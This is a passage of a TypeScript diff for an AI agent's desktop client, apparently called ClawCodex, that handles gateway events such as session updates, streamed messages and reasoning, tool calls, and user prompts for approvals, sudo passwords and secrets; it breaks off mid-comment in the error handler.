+          !event.profile || normalizeProfileKey(event.profile) === normalizeProfileKey($activeGatewayProfile.get())
+
+        if (fromActiveProfile) {
+          ingestBackendSkin(payload as ClawCodexSkin | undefined, { apply: true })
+        }
+
+        return
+      } else if (
+        event.type === 'pet.changed' ||
+        event.type === 'cron.changed' ||
+        event.type === 'sessions.changed' ||
+        event.type === 'platforms.changed' ||
+        event.type === 'pairing.changed'
+      ) {
+        // Change-watcher broadcasts (server._broadcast_watched_changes): the
+        // backend's on-disk signature moved. Route to the live-sync ticks the
+        // former pollers now subscribe to. Only the active profile's changes
+        // apply — background profile sockets watch their own homes.
+        const fromActiveChangeProfile =
+          !event.profile || normalizeProfileKey(event.profile) === normalizeProfileKey($activeGatewayProfile.get())
+
+        if (fromActiveChangeProfile) {
+          if (event.type === 'pet.changed') {
+            notifyPetChanged(payload as PetChangeMeta | undefined)
+          } else if (event.type === 'cron.changed') {
+            notifyCronChanged()
+          } else if (event.type === 'platforms.changed') {
+            notifyPlatformsChanged()
+          } else if (event.type === 'pairing.changed') {
+            notifyPairingChanged()
+          } else {
+            notifySessionsChanged()
+          }
+        }
+
+        return
+      } else if (event.type === 'session.reclaimed') {
+        // The backend reclaimed a live session we may still be holding (idle
+        // TTL, LRU cap, or the WS-orphan reap). Without this the runtime id
+        // stays cached until something fails against it, which reads as the
+        // session vanishing rather than being reclaimed. Drop the cached state
+        // now — the stored row is untouched, so the sidebar keeps the
+        // conversation and reopening it resumes from the DB.
+        const reclaimedRuntimeId = String((payload as { session_id?: string } | undefined)?.session_id ?? '')
+
+        if (reclaimedRuntimeId) {
+          dropSessionState(reclaimedRuntimeId)
+        }
+
+        // The row's ended_at moved, so refresh the lists that render it.
+        notifySessionsChanged()
+
+        return
+      } else if (event.type === 'session.info') {
+        // Apply session-scoped fields when the event targets the active
+        // session, OR when it's a global broadcast and we have no session.
+        const apply = explicitSid ? isActiveEvent : !activeSessionIdRef.current
+        const statePatch = sessionInfoStatePatch(payload)
+        const hasStatePatch = hasSessionInfoStatePatch(statePatch)
+        const modelChanged = typeof payload?.model === 'string'
+        const providerChanged = typeof payload?.provider === 'string'
+        const runningChanged = typeof payload?.running === 'boolean'
+        // The backend stamps model/provider (as strings) on EVERY session.info,
+        // so the presence flags above are true on every heartbeat/turn edge —
+        // fine for the cheap atom writes below (nanostores skips identical
+        // values), but they also drove queryClient.invalidateQueries, refetching
+        // the model-options provider catalog once or twice per turn for a model
+        // that never changed. Only a genuine VALUE change (vs the session's own
+        // cached runtime state, captured before the state patch below applies;
+        // composer atoms as the fallback for an uncached session) invalidates.
+        const knownState = sessionId ? sessionStateByRuntimeIdRef.current.get(sessionId) : undefined
+        const modelValueChanged = modelChanged && payload!.model !== (knownState?.model ?? $currentModel.get())
+
+        const providerValueChanged =
+          providerChanged && payload!.provider !== (knownState?.provider ?? $currentProvider.get())
+
+        // Config is profile-scoped, but session.info also arrives for background
+        // sessions. Only an active-session event from the currently active
+        // gateway may reconcile the foreground cache. Requiring the renderer's
+        // source tag prevents an event queued before a profile swap from being
+        // attributed to the newly active profile.
+        if (
+          isActiveEvent &&
+          typeof payload?.approval_mode === 'string' &&
+          event.profile &&
+          normalizeProfileKey(event.profile) === normalizeProfileKey($activeGatewayProfile.get())
+        ) {
+          reconcileApprovalModeForProfile(event.profile, payload.approval_mode)
+        }
+
+        if (apply) {
+          // Do not call setCurrentModel / setCurrentProvider here. Composer
+          // model/provider is sticky UI state (localStorage + manual picks).
+          // Periodic session.info heartbeats often carry the profile default
+          // (or a stale session model) and would silently revert the dropdown.
+          // Active-session model/provider still flows through the session state
+          // cache via updateSessionState → syncRuntimeMetadataToView below.
+
+          if (typeof payload?.cwd === 'string' && sessionInfoDescribesSelectedSession(payload.stored_session_id)) {
+            // The active session's agent can relocate itself (new repo/worktree
+            // via the terminal). When the SAME active session's cwd actually
+            // moves, follow it — refresh the project tree + scope so the sidebar
+            // tracks the live thread. A fresh selection (different session id)
+            // is a switch, not a move, so it refreshes data without yanking scope.
+            const cwdMoved = payload.cwd !== $currentCwd.get()
+            const sameSession = !!sessionId && sessionId === lastCwdInfoSessionRef.current
+
+            lastCwdInfoSessionRef.current = sessionId
+            setCurrentCwd(payload.cwd)
+
+            // The backend just confirmed the selected conversation's real
+            // workspace, so it owns the path we wrote. Without the claim the
+            // marker keeps naming whoever held it before — including the
+            // released state a detached resume leaves behind — and the primary
+            // workspace-derived surfaces stay hidden against a folder the
+            // backend has confirmed (#71254).
+            setWorkspaceCwdOwner($selectedStoredSessionId.get())
+
+            if (cwdMoved && sameSession) {
+              void followActiveSessionCwd(payload.cwd)
+            }
+          }
+
+          if (typeof payload?.branch === 'string') {
+            setCurrentBranch(payload.branch)
+          }
+
+          if (typeof payload?.personality === 'string') {
+            setCurrentPersonality(normalizePersonalityValue(payload.personality))
+          }
+
+          if (typeof payload?.reasoning_effort === 'string') {
+            setCurrentReasoningEffort(payload.reasoning_effort)
+          }
+
+          if (typeof payload?.service_tier === 'string') {
+            setCurrentServiceTier(payload.service_tier)
+          }
+
+          if (typeof payload?.fast === 'boolean') {
+            setCurrentFastMode(payload.fast)
+          }
+
+          if (typeof payload?.yolo === 'boolean') {
+            setYoloActive(payload.yolo)
+          }
+        }
+
+        if (sessionId && hasStatePatch) {
+          updateSessionState(
+            sessionId,
+            state => ({
+              ...state,
+              ...statePatch,
+              branch: statePatch.branch ?? state.branch,
+              cwd: statePatch.cwd ?? state.cwd
+            }),
+            payload?.stored_session_id || undefined
+          )
+        }
+
+        // The running→busy transition must reach EVERY session, not just the
+        // active one. The `apply` gate above correctly scopes view-only side
+        // effects (setCurrentCwd, etc.) to the focused chat,
+        // but the per-session busy state is what drives the sidebar working
+        // indicator — a background session's turn start/finish must update
+        // its dot without the user opening it. updateSessionState only
+        // mutates the per-runtime cache entry, and syncSessionStateToView
+        // guards the view publish to the active session, so this is safe.
+        if (runningChanged && sessionId) {
+          updateSessionState(
+            sessionId,
+            state => {
+              const busy = Boolean(payload!.running)
+
+              if (state.busy === busy && (busy || !state.awaitingResponse)) {
+                return state
+              }
+
+              if (busy) {
+                // Don't re-arm busy from a stale session.info if the user
+                // just clicked Stop (interrupted=true). The backend's
+                // cooperative interrupt may not have propagated yet, so
+                // running is still true in the heartbeat. The turn's
+                // finally block will emit running=false to clear busy.
+                if (state.interrupted) {
+                  return state
+                }
+
+                return {
+                  ...state,
+                  busy,
+                  turnStartedAt: state.turnStartedAt ?? Date.now()
+                }
+              }
+
+              if (state.awaitingResponse && !state.sawAssistantPayload) {
+                return state
+              }
+
+              return {
+                ...state,
+                awaitingResponse: false,
+                busy,
+                // The turn is over but its streaming bubble may still say
+                // pending — running=false from the agent loop's finally block
+                // is the ONLY settle signal when message.complete never
+                // arrives (turn crash, reconnect gap). Left pending, that
+                // bubble shows a thinking indicator forever, stranded
+                // mid-transcript once the next user message lands after it.
+                // finalizeInterruptedMessages un-pends kept text and drops
+                // empty placeholders; on the normal path message.complete
+                // already settled everything and this is a no-op.
+                messages: finalizeInterruptedMessages(state.messages, state.streamId),
+                pendingBranchGroup: null,
+                streamId: null,
+                turnStartedAt: null
+              }
+            },
+            payload?.stored_session_id || undefined
+          )
+        }
+
+        if (payload?.usage && (!explicitSid || isActiveEvent)) {
+          setCurrentUsage(current => ({ ...current, ...payload.usage }))
+        }
+
+        requestDesktopOnboardingForCredentialWarning(payload?.credential_warning)
+
+        if (apply) {
+          reportInstallMethodWarning(payload?.install_warning)
+          // Config refetch is only meaningful for the foreground context —
+          // everything refreshClawCodexConfig applies is either active-session
+          // guarded or a composer/global pref. Background sessions' heartbeats
+          // used to trigger it too (two REST calls each, every turn).
+          scheduleConfigRefresh()
+        }
+
+        if (modelValueChanged || providerValueChanged) {
+          void queryClient.invalidateQueries({
+            queryKey:
+              explicitSid && sessionId ? modelOptionsQueryKey(activeGatewayProfile, sessionId) : ['model-options']
+          })
+        }
+      } else if (event.type === 'message.start') {
+        if (!sessionId) {
+          return
+        }
+
+        flushQueuedDeltas(sessionId)
+        pruneFinishedSessionSubagents(sessionId)
+        setSessionCompacting(sessionId, false)
+        compactedTurnRef.current.delete(sessionId)
+        nativeSubagentSessionsRef.current.delete(sessionId)
+        // A fresh turn on this session optimistically clears its billing wall;
+        // if credits are still exhausted the next failure re-raises it.
+        clearBillingBlock(sessionId)
+
+        if (isActiveEvent) {
+          triggerHaptic('streamStart')
+        }
+
+        updateSessionState(sessionId, state => {
+          // If the user clicked Stop (cancelRun set interrupted=true), don't
+          // let a stale message.start from a chained turn (goal follow-up,
+          // completion drain) or an in-flight LLM response re-arm busy.
+          // The interrupt is user intent — the backend's cooperative cancel
+          // may not have propagated yet, so its events are stale. The turn's
+          // finally block will emit session.info with running=false to clear
+          // busy for real once the agent loop actually exits.
+          if (state.interrupted) {
+            return state
+          }
+
+          return {
+            ...state,
+            busy: true,
+            awaitingResponse: true,
+            sawAssistantPayload: false,
+            interrupted: false,
+            interimBoundaryPending: false,
+            turnStartedAt: Date.now()
+          }
+        })
+
+        if (isActiveEvent) {
+          setTurnStartedAt(Date.now())
+        }
+      } else if (event.type === 'message.delta') {
+        if (sessionId) {
+          appendAssistantDelta(sessionId, coerceGatewayText(payload?.text))
+        }
+      } else if (event.type === 'message.interim') {
+        // The agent emitted interim assistant commentary (text alongside tool
+        // calls, or the attempted final answer before a verify-on-stop nudge).
+        // Finalize it as its own sealed bubble so message.complete doesn't wipe
+        // it — the text was already streamed via message.delta and is visible.
+        if (sessionId) {
+          flushQueuedDeltas(sessionId)
+          const text = coerceGatewayText(payload?.text)
+
+          if (text) {
+            finalizeInterimAssistantMessage(sessionId, text)
+          }
+        }
+      } else if (event.type === 'thinking.delta') {
+        // thinking.delta carries the kawaii spinner status (face + verb from
+        // KawaiiSpinner), not real reasoning. The bottom-of-thread loading
+        // indicator already covers that UX, so we ignore these events to
+        // avoid a duplicative "Thinking" disclosure showing spinner text.
+      } else if (event.type === 'reaction') {
+        // Core-detected affection (ily / <3 / good bot) on the user's message.
+        // Play hearts only for the visible session so background turns stay quiet.
+        if (isActiveEvent && (payload?.kind ?? 'vibe') === 'vibe') {
+          burstVibeHearts()
+        }
+      } else if (event.type === 'reasoning.delta') {
+        if (sessionId) {
+          appendReasoningDelta(sessionId, coerceThinkingText(payload?.text))
+        }
+
+        if (isActiveEvent) {
+          setPetActivity({ reasoning: true })
+        }
+      } else if (event.type === 'reasoning.available') {
+        if (sessionId) {
+          appendReasoningDelta(sessionId, coerceThinkingText(payload?.text), true)
+        }
+
+        if (isActiveEvent) {
+          setPetActivity({ reasoning: true })
+        }
+      } else if (event.type === 'moa.reference') {
+        // MoA reference-model output — surface as a labelled thinking chunk
+        // (tagged with the source model) before the aggregator's response, so
+        // the mixture-of-agents process is visible. Reuses the reasoning
+        // disclosure rather than introducing a parallel surface.
+        if (sessionId) {
+          const label = coerceGatewayText(payload?.label) || 'reference'
+          const idx = typeof payload?.index === 'number' ? payload.index : undefined
+          const cnt = typeof payload?.count === 'number' ? payload.count : undefined
+          const header = idx && cnt ? `◇ Reference ${idx}/${cnt} — ${label}` : `◇ Reference — ${label}`
+          const body = coerceThinkingText(payload?.text)
+          const text = `${header}\n${body}\n\n`
+
+          if (idx === undefined || idx <= 1) {
+            // First reference: clear any stale reasoning left over from
+            // before this turn's references start, same as before.
+            appendReasoningDelta(sessionId, text, true)
+          } else {
+            // Later references must accumulate, not replace — otherwise
+            // each new reference wipes out the ones already shown (#64658).
+            // Queue-then-flush (rather than the streamed/batched queue path)
+            // applies it immediately, since each reference arrives as one
+            // complete block rather than incremental tokens. reasoning.delta
+            // cannot be mid-flight here: MoAChatCompletions.reference_callback
+            // (agent/moa_loop.py) fires "moa.reference" once per reference's
+            // already-complete text, with no concurrent token stream for the
+            // reference-gathering phase, so there is no in-flight delta to
+            // collide with in the shared queue bucket.
+            appendReasoningDelta(sessionId, text, false)
+            flushQueuedDeltas(sessionId)
+          }
+        }
+
+        if (isActiveEvent) {
+          setPetActivity({ reasoning: true })
+        }
+      } else if (event.type === 'moa.aggregating') {
+        // Status transition only; the aggregator's reply arrives via the normal
+        // message stream. No reasoning/transcript mutation here.
+        if (isActiveEvent) {
+          setPetActivity({ reasoning: true })
+        }
+      } else if (event.type === 'moa.progress') {
+        // Live reference fan-out progress ("refs k/n") — surfaced in the same
+        // reasoning disclosure the references land in. These lines arrive
+        // BEFORE any moa.reference event (references are only emitted once the
+        // whole fan-out completes), and the first moa.reference replaces the
+        // block, so the progress trail is self-cleaning.
+        if (sessionId && typeof payload?.refs_done === 'number' && typeof payload?.refs_total === 'number') {
+          const label = coerceGatewayText(payload?.label)
+
+          const line = label
+            ? `◇ MoA refs ${payload.refs_done}/${payload.refs_total} — ${label}\n`
+            : `◇ MoA refs ${payload.refs_done}/${payload.refs_total}\n`
+
+          appendReasoningDelta(sessionId, line, payload.refs_done <= 1)
+          flushQueuedDeltas(sessionId)
+        }
+
+        if (isActiveEvent) {
+          setPetActivity({ reasoning: true })
+        }
+      } else if (event.type === 'moa.phase') {
+        // Phase transition — currently only phase="aggregator" (fan-out done,
+        // aggregator acting). Append a one-line marker; the first
+        // moa.reference that follows replaces the whole block.
+        if (sessionId && payload?.phase === 'aggregator') {
+          appendReasoningDelta(sessionId, '◇ MoA aggregating…\n', false)
+          flushQueuedDeltas(sessionId)
+        }
+
+        if (isActiveEvent) {
+          setPetActivity({ reasoning: true })
+        }
+      } else if (event.type === 'message.complete') {
+        if (!sessionId) {
+          return
+        }
+
+        // Turn ended — drop any blocking prompt still open for THIS session
+        // (e.g. interrupted, or the approval already resolved). Scoped to the
+        // session so a background turn finishing can't wipe the active chat's
+        // prompt, and vice versa.
+        clearAllPrompts(sessionId)
+        clearClarifyRequest(undefined, sessionId)
+        // Turn ended without a final `todo` update — drop a still-unfinished
+        // list so "Tasks N/M" doesn't stay pinned above the composer with the
+        // last item stuck pending/in_progress. Finished lists keep their linger.
+        clearActiveSessionTodos(sessionId)
+        setSessionCompacting(sessionId, false)
+
+        flushQueuedDeltas(sessionId)
+
+        // Keyed by session so only one window beeps when several are open.
+        playCompletionSound(sessionId)
+
+        const finalText = coerceGatewayText(payload?.text) || coerceGatewayText(payload?.rendered)
+
+        // Terminal error frames (status "error") carry the failure in
+        // structured fields: `error` is the message, and `partial` marks
+        // `text` as streamed output to keep rather than the error string.
+        const failure =
+          payload?.status === 'error'
+            ? {
+                error: coerceGatewayText(payload.error).trim() || finalText || 'ClawCodex reported an error',
+                partial: Boolean(payload.partial)
+              }
+            : undefined
+
+        completeAssistantMessage(sessionId, finalText, payload?.response_previewed, failure)
+
+        // Structured billing wall forwarded by the gateway (out of credits /
+        // payment required) — cache it + raise a billing-specific toast.
+        if (payload?.billing) {
+          surfaceBillingBlock(sessionId, payload.billing)
+        }
+
+        if (isActiveEvent) {
+          setTurnStartedAt(null)
+
+          // Pet beat: a finished turn always celebrates — go straight to the
+          // jump, never linger on the run/reason pose. One atom update (clears
+          // toolRunning/reasoning AND sets celebrate together) so no stray "run"
+          // frame leaks to the sprite — including the popped-out overlay, which
+          // mirrors each activity change. The jump runs ~2 loops, then settles.
+          flashPetActivity({ celebrate: true, reasoning: false, toolRunning: false }, 2200)
+
+          // Light up the pet's mail icon if the user wasn't looking when the turn
+          // finished — a glanceable "new message" hint on the popped-out overlay.
+          // Cleared when they open the app via the mail icon or refocus the window.
+          if (typeof document !== 'undefined' && !document.hasFocus()) {
+            markPetUnread()
+          }
+        }
+
+        if (payload?.usage) {
+          // Per-session twin FIRST (the statusbar reads it for focused tiles);
+          // the primary-only global mirrors the ACTIVE session — ungated it
+          // let a background tile's turn overwrite the primary's count.
+          updateSessionState(sessionId, state => ({
+            ...state,
+            usage: { calls: 0, input: 0, output: 0, total: 0, ...state.usage, ...payload.usage }
+          }))
+
+          if (isActiveEvent) {
+            setCurrentUsage(current => ({ ...current, ...payload.usage }))
+          }
+        }
+      } else if (event.type === 'session.title') {
+        // Live auto-title push (titler runs async, after the turn's refresh).
+        const storedId = typeof payload?.session_id === 'string' ? payload.session_id : ''
+        const nextTitle = typeof payload?.title === 'string' ? payload.title.trim() : ''
+
+        if (storedId && nextTitle) {
+          setSessions(prev => prev.map(s => (sessionMatchesStoredId(s, storedId) ? { ...s, title: nextTitle } : s)))
+        }
+      } else if (event.type === 'tool.generating') {
+        // Announced while the model is still emitting the call's JSON, so it
+        // carries a name and nothing else — no id, no args. Materializing a row
+        // from it strands an argless placeholder whenever the bubble is sealed
+        // before the real `tool.start` arrives, because the two can no longer be
+        // reconciled across the boundary. It's a status, so say it as one.
+        // A stopped turn can still emit a frame or two before the backend
+        // notices, and naming a tool we will never run leaves the label up
+        // until something else retires it. `mutateStream` drops late tool rows
+        // on the same condition; the status line has to agree with it.
+        if (!sessionId || sessionInterrupted(sessionId)) {
+          return
+        }
+
+        setSessionDraftingTool(sessionId, typeof payload?.name === 'string' ? payload.name : '')
+
+        if (isActiveEvent) {
+          setPetActivity({ reasoning: false, toolRunning: true })
+        }
+      } else if (event.type === 'tool.start' || event.type === 'tool.progress') {
+        if (!sessionId) {
+          return
+        }
+
+        flushQueuedDeltas(sessionId)
+        upsertToolCall(sessionId, toTodoPayload(payload) ?? payload, 'running', event.type)
+
+        if (isActiveEvent) {
+          setPetActivity({ reasoning: false, toolRunning: true })
+        }
+      } else if (event.type === 'tool.complete') {
+        if (sessionId) {
+          flushQueuedDeltas(sessionId)
+          upsertToolCall(sessionId, toTodoPayload(payload) ?? payload, 'complete', event.type)
+
+          if (isActiveEvent) {
+            setPetActivity({ toolRunning: false })
+          }
+
+          // A pending clarify blocks the turn, so the first tool.complete after
+          // one is the clarify resolving — drop the "needs input" flag here so
+          // the sidebar indicator clears as soon as it's answered, not only at
+          // message.complete.
+          updateSessionState(sessionId, state => (state.needsInput ? { ...state, needsInput: false } : state))
+
+          // terminal/process tool calls are the only things that spawn or reap
+          // background processes — sync the composer status stack right after.
+          if (!sessionInterrupted(sessionId) && (payload?.name === 'terminal' || payload?.name === 'process')) {
+            void refreshBackgroundProcesses(sessionId)
+          }
+        }
+
+        // The agent just created/deleted/renamed a skill, which adds or removes
+        // its `/name` command. Drop the composer's cached `/` list so the new
+        // skill is offerable now rather than after the hour-long TTL.
+        if (payload?.name === 'skill_manage') {
+          invalidateSlashCompletions()
+        }
+
+        if (typeof payload?.inline_diff === 'string' && payload.inline_diff.trim()) {
+          recordToolDiff(payload.tool_id || payload.name || '', payload.inline_diff)
+        }
+
+        // A file-mutating tool just finished — nudge the git-mirroring surfaces
+        // (coding rail, review pane, file tree) to refresh. Event-driven, not
+        // polled: fires exactly when the agent touches the tree.
+        if (payload && toolMayMutateFiles(payload)) {
+          notifyWorkspaceChanged(toolChangedPath(payload))
+        }
+      } else if (SUBAGENT_EVENT_TYPES.has(event.type)) {
+        if (sessionId && payload && !sessionInterrupted(sessionId)) {
+          if (!nativeSubagentSessionsRef.current.has(sessionId)) {
+            pruneDelegateFallbackSubagents(sessionId)
+          }
+
+          nativeSubagentSessionsRef.current.add(sessionId)
+          upsertSubagent(
+            sessionId,
+            payload as Record<string, unknown>,
+            event.type === 'subagent.spawn_requested' || event.type === 'subagent.start',
+            event.type
+          )
+        }
+      } else if (event.type === 'clarify.request') {
+        // Surface the clarify tool's overlay. The Python side is blocked on
+        // `clarify.respond`, so without this handler the agent would hang
+        // forever (see tools/clarify_tool.py + tui_gateway/server.py:_block).
+        //
+        // Store the request for whichever session raised it — even a background
+        // one. clarify.request is a one-shot event; if we dropped it for an
+        // unfocused session, that session would block on `clarify.respond`
+        // indefinitely and re-focusing it could never recover (the event is
+        // gone). Parking it per-session lets the user answer once they switch
+        // over; the inline ClarifyTool reads the active session's entry.
+        const requestId = typeof payload?.request_id === 'string' ? payload.request_id : ''
+        const question = typeof payload?.question === 'string' ? payload.question : ''
+        const rawChoices = payload?.choices
+        const choices = normalizeChoices(rawChoices)
+
+        if (requestId && question) {
+          if (rawChoices != null && choices.length === 0) {
+            warnDroppedChoices('gateway', question, rawChoices)
+          }
+
+          setClarifyRequest({
+            requestId,
+            question,
+            choices: choices.length > 0 ? choices : null,
+            sessionId: sessionId ?? null
+          })
+
+          if (sessionId) {
+            // `clarify.request` is the blocking event the Python side waits on,
+            // while the inline UI normally mounts from the earlier `tool.start`
+            // row. If that row was missed (stream reconnect / hydration race) the
+            // sidebar still says "needs input" but there is nowhere to render the
+            // choices. Upsert a stable pending clarify tool row from the request
+            // itself so the prompt stays answerable; a real tool.start/complete
+            // with the same request id merges rather than duplicates.
+            upsertToolCall(sessionId, { args: { choices, question }, name: 'clarify', tool_id: requestId }, 'running')
+
+            // The transcript only renders the active session, so a background
+            // clarify is otherwise invisible (the row just keeps spinning like
+            // it's working). Flag the session so the sidebar shows a persistent
+            // "needs input" indicator on its row — works for the active session
+            // too, and survives alt-tab / window blur (unlike a toast).
+            updateSessionState(sessionId, state => ({ ...state, needsInput: true }))
+          }
+
+          dispatchNativeNotification({
+            body: question,
+            kind: 'input',
+            sessionId,
+            title: translateNow('notifications.native.inputTitle')
+          })
+        }
+      } else if (event.type === 'approval.request') {
+        // Dangerous-command / execute_code approval. The Python side is blocked
+        // in _await_gateway_decision() until approval.respond lands; without
+        // this the agent stalls until its 5-min timeout and the tool is BLOCKED.
+        // Park it per-session (like clarify) so a *background* profile's turn can
+        // raise it and wait — the sidebar flags "needs input" and the inline bar
+        // surfaces once the user focuses that chat.
+        const command = typeof payload?.command === 'string' ? payload.command : ''
+        const description = typeof payload?.description === 'string' ? payload.description : 'dangerous command'
+
+        setApprovalRequest({
+          // false only when a tirith warning forbids it; backend omits the field otherwise.
+          allowPermanent: payload?.allow_permanent !== false,
+          choices: Array.isArray(payload?.choices)
+            ? payload.choices.filter(choice => typeof choice === 'string')
+            : undefined,
+          command,
+          description,
+          sessionId: sessionId ?? null,
+          smartDenied: payload?.smart_denied === true
+        })
+
+        if (sessionId) {
+          updateSessionState(sessionId, state => ({ ...state, needsInput: true }))
+        }
+
+        dispatchNativeNotification({
+          actions: [
+            { id: 'approve', text: translateNow('notifications.native.approveAction') },
+            { id: 'reject', text: translateNow('notifications.native.rejectAction') }
+          ],
+          body: command || description,
+          kind: 'approval',
+          sessionId,
+          title: translateNow('notifications.native.approvalTitle')
+        })
+      } else if (event.type === 'sudo.request') {
+        // Sudo password capture (tools/terminal_tool.py). Blocked on
+        // sudo.respond {request_id, password}.
+        const requestId = typeof payload?.request_id === 'string' ? payload.request_id : ''
+
+        if (requestId) {
+          setSudoRequest({ requestId, sessionId: sessionId ?? null })
+
+          if (sessionId) {
+            updateSessionState(sessionId, state => ({ ...state, needsInput: true }))
+          }
+
+          dispatchNativeNotification({
+            body: translateNow('notifications.native.inputBody'),
+            kind: 'input',
+            sessionId,
+            title: translateNow('notifications.native.inputTitle')
+          })
+        }
+      } else if (event.type === 'secret.request') {
+        // Skill credential capture (tools/skills_tool.py). Blocked on
+        // secret.respond {request_id, value}.
+        const requestId = typeof payload?.request_id === 'string' ? payload.request_id : ''
+
+        if (requestId) {
+          const envVar = typeof payload?.env_var === 'string' ? payload.env_var : ''
+          const promptText = typeof payload?.prompt === 'string' ? payload.prompt : ''
+
+          setSecretRequest({
+            requestId,
+            envVar,
+            prompt: promptText,
+            sessionId: sessionId ?? null
+          })
+
+          if (sessionId) {
+            updateSessionState(sessionId, state => ({ ...state, needsInput: true }))
+          }
+
+          dispatchNativeNotification({
+            body: promptText || envVar || translateNow('notifications.native.inputBody'),
+            kind: 'input',
+            sessionId,
+            title: translateNow('notifications.native.inputTitle')
+          })
+        }
+      } else if (event.type === 'terminal.read.request') {
+        // read_terminal tool: serialize the renderer's xterm buffer and answer
+        // immediately (Python blocks on the respond). Empty text = no live pane.
+        const requestId = typeof payload?.request_id === 'string' ? payload.request_id : ''
+
+        if (requestId) {
+          const start = typeof payload?.start === 'number' ? payload.start : undefined
+          const count = typeof payload?.count === 'number' ? payload.count : undefined
+          const result = readActiveTerminal({ start, count })
+
+          void $gateway.get()?.request('terminal.read.respond', {
+            request_id: requestId,
+            text: result ? JSON.stringify(result) : ''
+          })
+        }
+      } else if (event.type === 'preview.read.request') {
+        // read_preview tool: serialize the active preview tab (a Browser
+        // webview's page text is async) and answer. Empty text = nothing open.
+        const requestId = typeof payload?.request_id === 'string' ? payload.request_id : ''
+
+        if (requestId) {
+          const start = typeof payload?.start === 'number' ? payload.start : undefined
+          const count = typeof payload?.count === 'number' ? payload.count : undefined
+
+          void readActivePreview({ count, start }).then(result => {
+            void $gateway.get()?.request('preview.read.respond', {
+              request_id: requestId,
+              text: result ? JSON.stringify(result) : ''
+            })
+          })
+        }
+      } else if (event.type === 'agent.terminal.output') {
+        // Live chunk from a background process → its read-only agent terminal tab.
+        writeAgentTerminalChunk(payload?.process_id ?? '', payload?.chunk ?? '')
+      } else if (event.type === 'terminal.close') {
+        // Agent closed its own read-only tab via the desktop-gated close_terminal tool.
+        // The process is untouched — this only drops the view.
+        closeAgentTerminalByProc(payload?.process_id ?? '')
+      } else if (event.type === 'pane.reveal') {
+        // Agent revealed a pane via the desktop-gated focus_pane tool, in
+        // response to an explicit user request. Active session only — a
+        // background turn must never move the user's focus (desktop AGENTS.md:
+        // offer, don't hijack).
+        if (isActiveEvent) {
+          revealDesktopPane(payload?.pane ?? '')
+        }
+      } else if (event.type === 'message.reaction') {
+        // The agent reacted to a message via the desktop-gated
+        // react_to_message tool. Already persisted — this only paints it now
+        // instead of at the next resume. Fresh ChatMessage object per change:
+        // the runtime repository caches normalized ThreadMessages in a WeakMap
+        // keyed by ChatMessage identity.
+        const reactedRowId = payload?.row_id
+
+        if (typeof reactedRowId === 'number') {
+          const nextReactions = Array.isArray(payload?.reactions) ? payload.reactions : []
+          const reactedRole = payload?.role === 'assistant' ? 'assistant' : 'user'
+
+          setMessages(messages => {
+            // Preferred leg: the message already knows its durable row id
+            // (rehydrated transcript, or a live row that has round-tripped).
+            const byRowId = messages.find(message => message.rowId === reactedRowId)
+
+            if (byRowId) {
+              // Overlay survives the end-of-turn resume, which rebuilds from
+              // in-memory history that doesn't carry this mid-turn DB write.
+              recordAgentReaction(reactedRowId, nextReactions)
+
+              return messages.map(message =>
+                message.rowId === reactedRowId ? { ...message, reactions: nextReactions } : message
+              )
+            }
+
+            // Live leg: the targeted message is still optimistic (no rowId —
+            // it hasn't round-tripped through a resume). The agent's default
+            // target is the newest message of that role, so stamp the reaction
+            // AND the now-known row id onto it. Without this the event matches
+            // nothing and the reaction only appears after a reload.
+            const lastIndex = messages.findLastIndex(
+              message => message.role === reactedRole && message.rowId === undefined
+            )
+
+            if (lastIndex === -1) {
+              return messages
+            }
+
+            recordAgentReaction(reactedRowId, nextReactions)
+
+            return messages.map((message, index) =>
+              index === lastIndex ? { ...message, rowId: reactedRowId, reactions: nextReactions } : message
+            )
+          })
+        }
+      } else if (event.type === 'status.update') {
+        if (sessionId && payload?.kind === 'compacting') {
+          setSessionCompacting(sessionId, true)
+          compactedTurnRef.current.add(sessionId)
+        } else if (sessionId && payload?.kind === 'compacted') {
+          setSessionCompacting(sessionId, false)
+          compactedTurnRef.current.delete(sessionId)
+        } else if (sessionId && payload?.kind === 'process') {
+          // The gateway's notification poller announces background process
+          // completions / watch matches here — re-sync the status stack.
+          void refreshBackgroundProcesses(sessionId)
+        } else if (sessionId && payload?.kind === 'goal') {
+          applyGoalStatusText(sessionId, coerceGatewayText(payload?.text))
+        }
+      } else if (event.type === 'review.summary') {
+        // Self-improvement background review saved something to memory/skills
+        // and emitted a persistent summary (Python formats it as
+        // "💾 Self-improvement review: …"). The CLI prints this via
+        // prompt_toolkit and the Ink TUI renders it as a system line; the
+        // desktop has neither, so without this handler the skill/memory
+        // change happens silently. Surface it as a persistent system message
+        // in the transcript so the user is always informed — it must not be a
+        // transient toast that can be missed.
+        const text = coerceGatewayText(payload?.text).trim()
+
+        if (text && sessionId) {
+          flushQueuedDeltas(sessionId)
+          updateSessionState(sessionId, state => ({
+            ...state,
+            messages: [
+              ...state.messages,
+              {
+                id: `review-summary-${Date.now()}`,
+                role: 'system',
+                parts: [textPart(text)],
+                timestamp: Math.floor(Date.now() / 1000)
+              }
+            ]
+          }))
+        }
+      } else if (event.type === 'notification.show') {
+        // Driver-agnostic agent notice (credits usage/grant/depleted/restored
+        // from `agent/credits_tracker.py`). The Ink TUI renders these in its
+        // status bar; the desktop renders them as toasts. The notice key doubles
+        // as the toast id, so the escalating 50→75→90 credits line replaces in
+        // place instead of stacking. Account-wide signal — shown regardless of
+        // which session is focused.
+        const notice = event.payload as AgentNoticePayload | undefined
+
+        showAgentNotice(notice)
+
+        // The urgent pair (access paused / restored) also breaks through as a
+        // native OS notification when ClawCodex is backgrounded; dispatch is gated
+        // by the user's notification prefs + backgrounded check.
+        const native = nativeNoticeInput(notice, translateNow('notifications.native.creditsTitle'))
+
+        if (native) {
+          dispatchNativeNotification(native)
+        }
+
+        // A credits crossing moves the account balance. Settings → Billing polls
+        // `billing.state` every 30s; nudge it so the page reflects the crossing
+        // immediately instead of up to 30s late.
+        if (notice?.key?.startsWith('credits.')) {
+          void queryClient.invalidateQueries({ queryKey: ['billing', 'state'] })
+        }
+      } else if (event.type === 'notification.clear') {
+        // Key-matched dismissal (e.g. credits restored clears the depleted
+        // notice). notify() keys the toast by the notice key, so this maps
+        // straight to dismissNotification(key).
+        clearAgentNotice((event.payload as AgentNoticePayload | undefined)?.key)
+      } else if (event.type === 'error') {
+        const errorMessage = payload?.message || 'ClawCodex reported an error'
+        const looksLikeProviderSetup = isProviderSetupErrorMessage(errorMessage)
+
+        // A turn that errors out has also ended — drop any open blocking prompt
+        // for this session so an approval/sudo/secret overlay can't linger past
